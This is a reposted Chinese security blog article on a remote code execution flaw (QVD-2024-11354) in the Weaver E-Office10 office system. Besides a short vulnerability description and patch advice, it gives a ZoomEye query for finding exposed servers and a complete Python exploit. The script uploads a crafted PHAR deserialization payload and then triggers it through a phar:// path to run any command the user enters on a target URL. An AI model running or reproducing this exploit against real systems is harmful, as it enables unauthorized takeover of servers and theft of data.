泛微E-Office10 - QVD-2024-11354 远程代码执行漏洞[附py脚本]

admin 2024年3月31日21:47:02评论133 views字数 3077阅读10分15秒阅读模式

 

 

1 产品简介

泛微E-Office10是一款企业级办公自动化系统,主要用于优化和管理企业的文档、信息流转、协作与沟通工作流程。

2024年3月,互联网上披露泛微E-Office10存在远程代码执行漏洞,攻击者可利用该漏洞获取服务器控制权限。该漏洞利用简单,无需前置条件,建议受影响的客户尽快修复漏洞。

2 漏洞描述

攻击者通过上传特制的PHAR文件,可以执行服务器上的任意代码,从而获得服务器的进一步控制权。最严重的情况下,这可能导致服务器的完全接管,敏感数据泄露,甚至将服务器转化为发起其他攻击的跳板。

3 zoomeye语法

app:"泛微 E-office 10"

泛微E-Office10 - QVD-2024-11354  远程代码执行漏洞[附py脚本]

检测脚本

运行:

泛微E-Office10 - QVD-2024-11354  远程代码执行漏洞[附py脚本]

# -*- coding:utf-8 -*-
import json
import requests
import urllib3
import hashlib
import time
from hashlib import sha1
import base64
 
 
def payload(url,cmd):
    urls = url + '/eoffice10/server/public/api/attachment/atuh-file'
    hearder = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'}
    file = base64.b64decode("PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQokAQAAAQAAABEAAAABAAAAAADuAAAATzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozODoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcQnJvYWRjYXN0RXZlbnQiOjE6e3M6MTA6ImNvbm5lY3Rpb24iO3M6Njoid2hvYW1pIjt9fQgAAAB0ZXN0LnR4dAUAAAAqH6ZhBQAAAOmPsbu0AQAAAAAAAHRlc2F05eRmN0jjnqjxPuyQ7MEQ33p3j+QCAAAAR0JNQg==")
    # print(file)
    data = file[:-28]
    # print(b's:'+bytes(str(len(cmd)),encoding="utf-8")+b':"'+bytes(cmd, encoding='utf-8')+b'"')
    data = data.replace(b's:6:"whoami"', b's:'+bytes(str(len(cmd)),encoding="utf-8")+b':"'+bytes(cmd, encoding='utf-8')+b'"')
    final = file[-8:]
    newfile = data + sha1(data).digest() + final
    upload_file = {"Filedata": ("register.inc", newfile, "image/jpeg")}
    urllib3.disable_warnings()
    response = requests.post(url=urls, files=upload_file, headers=hearder)  # ,proxies=proxy)
    response_text = response.text
    attachment_id = json.loads(response_text)['data']['attachment_id']
 
    urls = url + '/eoffice10/server/public/api/wps/v1/3rd/file/history'
    heards = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36',
        'x-weboffice-file-id': attachment_id
    }
    urllib3.disable_warnings()
    response = requests.post(url=urls, headers=heards, verify=False)  # ,proxies=proxy)
    response_json = response.json()
    filename = str(response_json["histories"][0]["create_time"]) + 'register.inc'
    md5name = hashlib.md5(filename.encode())
    md5name = md5name.hexdigest()
    Time = time.strftime('%Y/%m/%d', time.localtime(time.time()))
 
    urls = url + '/eoffice10/server/public/api/dingtalk/dingtalk-move?imgs=phar://../../../../attachment/' + Time + '/' + attachment_id + '/' + md5name + '.inc'
    hearder = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'}
    urllib3.disable_warnings()
    print(urls)
    response = requests.post(url=urls, verify=False, headers=hearder)  # ,proxies=proxy)
    response_text = response.text
    print(response_text)
    result = response_text.split('}')[-1]
    print(result)
 
 
if __name__ == '__main__':
    url = input("url: ")
    cmd = input("要执行的命令: ")
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    if url.endswith("/"):
        url = url[:-1]
    payload(url,cmd)
https://pan.baidu.com/s/1s3kBPFR7RiczVjoHvHFZEQ?pwd=iesw
官方已发布新版本修复漏洞,建议尽快使用服务管理平台升级到最新版或访问官网下载离线升级补丁(https://www.e-office.cn/)获取版本升级安装包或补丁。
 
.
 
 

原文始发于微信公众号(棉花糖网络安全圈):QVD-2024-11354 泛微E-Office10 远程代码执行漏洞[附py脚本]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月31日21:47:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微E-Office10 - QVD-2024-11354 远程代码执行漏洞[附py脚本]http://cn-sec.com/archives/2615098.html

发表评论

匿名网友 填写信息